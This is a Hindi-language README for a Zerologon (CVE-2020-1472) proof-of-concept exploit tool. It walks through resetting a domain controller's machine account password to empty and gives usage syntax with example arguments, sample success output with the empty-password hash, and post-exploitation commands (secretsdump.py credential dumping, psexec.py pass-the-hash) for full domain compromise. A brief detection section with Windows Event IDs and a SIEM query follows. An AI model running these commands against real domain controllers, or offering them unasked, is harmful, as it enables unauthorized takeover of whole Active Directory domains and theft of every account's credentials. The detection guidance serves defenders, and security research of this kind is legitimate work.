
Zerologon (CVE-2020-1472) प्रूफ-ऑफ-कॉन्सेप्ट एप्लिकेशन - क्रिटिकल एक्टिव डायरेक्टरी भेद्यता शोषण उपकरण।
यह प्रोजेक्ट Zerologon भेद्यता (CVE-2020-1472) का एक कार्यान्वयन है, जो सबसे महत्वपूर्ण Active Directory सुरक्षा कमजोरियों में से एक है। यह भेद्यता एक अप्रमाणित हमलावर को डोमेन कंट्रोलर के मशीन खाते का पासवर्ड रीसेट करके पूरे Active Directory डोमेन से समझौता करने की अनुमति देती है।
Zerologon Microsoft के Netlogon रिमोट प्रोटोकॉल (MS-NRPC) में एक क्रिप्टोग्राफिक दोष है। यह भेद्यता उस तरीके में मौजूद है जिसमें Netlogon शून्य के हार्डकोडेड इनिशियलाइज़ेशन वेक्टर (IV) के साथ AES-CFB8 एन्क्रिप्शन का उपयोग करता है।
तकनीकी सारांश:
1. लक्ष्य चयन
└─> डोमेन कंट्रोलर की पहचान करें (FQDN, NetBIOS नाम, मशीन खाता)
2. चैलेंज चरण (I_NetServerReqChallenge)
└─> सभी-शून्य क्लाइंट चैलेंज भेजें (0x0000000000000000)
└─> सर्वर चैलेंज प्राप्त करें
3. प्रमाणीकरण चरण (I_NetServerAuthenticate2)
└─> शून्य क्रेडेंशियल्स के साथ प्रमाणीकरण का प्रयास करें
└─> सफल होने तक दोहराएँ (~1/256 सफलता दर प्रति प्रयास)
4. पासवर्ड रीसेट चरण (I_NetServerPasswordSet2)
└─> DC मशीन खाते का पासवर्ड खाली पर रीसेट करें
└─> नया NT हैश: 31d6cfe0d16ae931b73c59d7e0c089c0 (खाली पासवर्ड)
5. शोषण के बाद
└─> खाली क्रेडेंशियल्स के साथ पास-द-हैश का उपयोग करें
└─> पूर्ण डोमेन समझौता प्राप्त हुआ
Visual Studio का उपयोग करके:
1. Open Visual Studio
2. Select **Build Solution** from the **Build** menu.
Zerologon.exe <DC_FQDN> <DC_NetBIOS_Name> <Machine_Account_Name>
उदाहरण:
Zerologon.exe DC01.corp.example.com DC01 DC01$
DC_FQDN: लक्ष्य डोमेन कंट्रोलर का पूर्ण योग्य डोमेन नामDC_NetBIOS_Name: DC का NetBIOS नाम (आमतौर पर होस्टनाम)Machine_Account_Name: मशीन खाता नाम ($ के साथ समाप्त होना चाहिए)सफल शोषण:
[+] Targeting Domain Controller:
FQDN : DC01.corp.example.com
NetBIOS Name : DC01
Machine Account: DC01$
[+] SUCCESS: Machine account password reset to empty!
[+] Now use Pass-the-Hash with:
.\DC01$:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
[+] Then run: secretsdump.py -just-dc <domain>/<dc_account>@<dc_ip>
विफल शोषण (पैच किया गया सिस्टम):
[-] Attack failed after 2000 attempts. Target likely patched.
DC पासवर्ड को सफलतापूर्वक रीसेट करने के बाद, आप यह कर सकते हैं:
secretsdump.py -no-pass -just-dc 'DOMAIN/DC01$'@192.168.1.10
psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 'DOMAIN/DC01$'@DC01
नेटवर्क-आधारित पहचान:
लॉग-आधारित पहचान:
Event Viewer → Windows Logs → System
- Event ID 5827: Multiple password validation failures
- Event ID 5829: Secure channel reset
SIEM क्वेरीज़:
source="WinEventLog:System" EventCode=5827 OR EventCode=5829
| stats count by Computer, SourceIP
| where count > 100
यह उपकरण केवल शैक्षिक और अधिकृत सुरक्षा अनुसंधान उद्देश्यों के लिए प्रदान किया गया है।
लेखक इस कोड के दुरुपयोग के लिए कोई जिम्मेदारी नहीं लेता है।
यह प्रोजेक्ट MIT लाइसेंस के तहत लाइसेंस प्राप्त है। अधिक जानकारी के लिए, LICENSE फ़ाइल देखें।